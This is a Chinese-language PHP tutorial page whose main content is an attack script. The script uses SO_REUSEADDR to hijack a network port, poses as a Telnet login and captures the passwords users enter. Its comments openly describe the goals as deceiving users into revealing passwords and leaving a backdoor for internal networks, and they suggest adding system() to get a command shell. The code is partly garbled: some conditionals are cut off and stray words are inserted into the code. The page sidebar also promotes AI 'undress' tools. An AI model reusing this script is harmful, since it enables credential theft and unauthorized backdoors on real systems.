search
Homephp教程php手册PHP下实现端口复用/劫持

PHP下实现端口复用/劫持

Jun 13, 2016 am 10:31 AM
phpDownhijackCanReuseaccomplishmonitorportaccessthis

假如监听127.0.0.1 ,访问共网IP不受影响,假如监听公网IP,127。0。0。1等IP不受影响。
这个可以用于欺骗用户密码,因为原来的服务不可用了。或者留成针对内网用户的后门。
最后欢迎加MSN:CQXY[AT]21CN。NET赐教。
#!/usr/bin/php(做为现在的主流开发语言) -q
#c0dz by Darkness[BST]
#Team:www.bugkidz.org
#E-mail:cqxy[at]21cn.net
if ($argc != 3 || in_array($argc[1] , array(--help,-h,?)))
{
echo "Use:#./$argv[0] www.bugkidz.org 192.168.0.1 21 ";
echo "c0dz By Darkness[BST]";
exit;
}
error_reporting(E_ALL);

set_time_limit(0);

ob_implicit_flush();

$host = $argv[1];
$port = $argv[2];
if (($sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) echo "socket_create() failed: reason: " . socket_strerror($sock) . " ";
} /*建立SOCKET*/
socket_set_option($sock,SOL_SOCKET,SO_REUSEADDR,1); /*设置SOCKET连接的属性为SO_REUSEADDR,这样才可以端口复用*/
if (($ret = socket_bind($sock, $host, $port)) echo "socket_bind() failed: reason: " . socket_strerror($ret) . " ";
}/*绑定端口*/

if (($ret = socket_listen($sock, 5)) echo "socket_listen() failed: reason: " . socket_strerror($ret) . " ";
} /*开始监听*/


while(true) {

if (($sniffer = socket_accept($sock)) echo "socket_accept() failed: reason: " . socket_strerror($sniffer) . " ";
break;
}
if ($port == 23)
{
$txt = "Welcome to the Telnet Server ";
$txt .="User: ";
socket_write($sniffer, $txt, strlen($txt));
} /*这里是伪装信息,把自己伪装成原来的TELNET服务器,这样来骗取密码*/

while(true) {

if(($buf _read($sniffer">=@socket_read($sniffer, 2048, php(做为现在的主流开发语言)_BINARY_READ)) ==false)
{

break;

}

if (!$buf = trim($buf)) {
continue;
}


if ($buf == !quit) {
break;
}
if ($buf == !shutdown) {
socket_close($sniffer);
break 2; /*其实这里可以调用system(),搞成一个CMD后门,反正你想怎么改都可以*/
}

$sniff_data = "$buf ";

/* else socket_write($sniffer, $sniff_data, strlen($sniff_data));*/
echo $sniff_data;
/*输出字符串,这里可以加进文件处理,保存密码什么的*/
}
socket_close($sniffer);


}
socket_close($resock);
socket_close($sock);
?>

Statement
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn

Hot AI Tools

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Undress AI Tool

Undress AI Tool

Undress images for free

Clothoff.io

Clothoff.io

AI clothes remover

Video Face Swap

Video Face Swap

Swap faces in any video effortlessly with our completely free AI face swap tool!

Hot Tools

SecLists

SecLists

SecLists is the ultimate security tester's companion. It is a collection of various types of lists that are frequently used during security assessments, all in one place. SecLists helps make security testing more efficient and productive by conveniently providing all the lists a security tester might need. List types include usernames, passwords, URLs, fuzzing payloads, sensitive data patterns, web shells, and more. The tester can simply pull this repository onto a new test machine and he will have access to every type of list he needs.

PhpStorm Mac version

PhpStorm Mac version

The latest (2018.2.1) professional PHP integrated development tool

SublimeText3 Mac version

SublimeText3 Mac version

God-level code editing software (SublimeText3)

Notepad++7.3.1

Notepad++7.3.1

Easy-to-use and free code editor

MantisBT

MantisBT

Mantis is an easy-to-deploy web-based defect tracking tool designed to aid in product defect tracking. It requires PHP, MySQL and a web server. Check out our demo and hosting services.